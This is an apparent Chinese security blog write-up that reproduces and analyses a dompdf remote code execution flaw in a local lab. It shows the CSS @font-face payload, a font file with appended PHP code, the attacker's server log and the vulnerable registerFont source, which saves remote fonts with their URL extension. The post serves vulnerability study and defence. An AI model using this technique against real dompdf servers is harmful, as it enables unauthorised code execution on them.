0x00 前言
这个漏洞是在去年的三月份爆出来的,今天刚好遇到这个漏洞的环境,遂写一文记录。
0x01 漏洞详情
漏洞描述
dompdf是一个用于将HTML转换为PDF的PHP库,由于其易用性和广泛的使用,dompdf也成为了攻击者的攻击目标,借用MAXIMILIAN的图片:
利用过程:
1、使用外部的css注入到pdf当中
2、css内容包含了远程的字体链接(存在恶意代码),从而让应用程序请求远程服务器的字体文件进行加载(其实这里还有个无回显的SSRF漏洞,但是比较鸡肋)
3、当中加载字体的时候会生成php的缓存文件,从而导致了RCE。
漏洞利用
1、前提条件
需要开启isPhpEnabled
和isRemoteEnabled
:
在Options.php的161行和183行
* @var bool
*/
private $isPhpEnabled = false;
/**
* Enable remote file access
*
* If this setting is set to true, DOMPDF will access remote sites for
* images and CSS files as required.
*
* ==== IMPORTANT ====
* This can be a security risk, in particular in combination with isPhpEnabled and
* allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
* This allows anonymous users to download legally doubtful internet content which on
* tracing back appears to being downloaded by your server, or allows malicious php code
* in remote html pages to be executed by your server with your account privileges.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
* https://github.com/dompdf/dompdf/wiki
*
* @var bool
*/
private $isRemoteEnabled = false;
2、利用过程
使用的环境是https://github.com/positive-security/dompdf-rce,启动后记得修改**exploit_font.php里面的地址。
我们新建一个test.css,设置一个背景为红色的的内容,然后使用link进行加载:
body{background-color:red}
在浏览器进行访问:
http://127.0.0.1/dompdf/index.php?pdf&title=
可以看到已经加载了远程css的内容:
也就是说存在XSS漏洞,那么我们怎么进行RCE,先演示漏洞。
编写一个css文件:
@font-face {
font-family:'exploitfont';
src:url('http://127.0.0.1:9001/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
访问我们的css文件会加载远程的字体文件,我们再编写一个有包含我们恶意代码的字体文件,因为该漏洞要先解析字体才可以往下执行,所以,去https://github.com/dompdf/php-font-lib找一个字体然后在最后面加上phpinfo的代码:
<?php phpinfo(); ?>
然后访问该链接:
http://127.0.0.1/dompdf/index.php?pdf&title=
会出现已经加载了两个文件:
python3 -m http.server 9001
Serving HTTP on :: port 9001 (http://[::]:9001/) ...
::1 - - [29/May/2023 14:56:29] "GET /exploit.css HTTP/1.0" 200 -
::1 - - [29/May/2023 14:56:29] "GET /exploit_font.php HTTP/1.0" 200 -
在/dompdf/lib/fonts/
会生成该文件:
exploitfont_normal_3f83639933428d70e74a061f39009622.php
http://127.0.0.1/dompdf/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php
已经可以执行我们的代码:
漏洞分析
我们看这个版本修复的地方是在:
漏洞出现在FontMetrics.php文件的registerFont函数:
/**
* @param array $style
* @param string $remoteFile
* @param resource $context
* @return bool
*/
public function registerFont($style, $remoteFile, $context = null)
{
$fontname = mb_strtolower($style["family"]);//这里是获取我们刚才ccs文件的font-family参数内容
$styleString = $this->getType("{$style['weight']} {$style['style']}");//normal内容
$fontDir = $this->options->getFontDir();
$remoteHash = md5($remoteFile);//这里就是文件名的md5,加密的内容为http://127.0.0.1:9001/exploit_font.php
$prefix = $fontname . "_" . $styleString;
$prefix = preg_replace("[\\W]", "_", $prefix);
$prefix = preg_replace("/[^-_\\w]+/", "", $prefix);
$localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
$localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));//这里就是漏洞点了,解析url然后把url里面的后缀名当作缓存的后缀名导致了漏洞产生
// Download the remote file
list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
$localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
file_put_contents($localTempFile, $remoteFileContent);
$font = Font::load($localTempFile);
if (!$font) {
unlink($localTempFile);
return false;
}
$font->parse();
$font->close();
unlink($localTempFile);
// Save the changes
file_put_contents($localFile, $remoteFileContent);
$this->saveFontFamilies();
return true;
}
部分解释已经在代码中有备注,后面就是*file_put_contents*($localFile, $remoteFileContent),
保存文件。
我们可以开phpstorm的xdebug进行调试,查看整个漏洞的利用链:
一开始就是因为$dompdf->render()
的渲染,然后到加载$this->css->load_css_file
css文件,才触发了漏洞。
0x02 总结
这个漏洞其实利用上不难,就是看怎么去发现,主要还是从file_put_contents函数去寻找可利用的点。
0x03 参考
https://positive.security/blog/dompdf-rce
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/using_dompdf_vulnerability_from_xss_to_rce.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。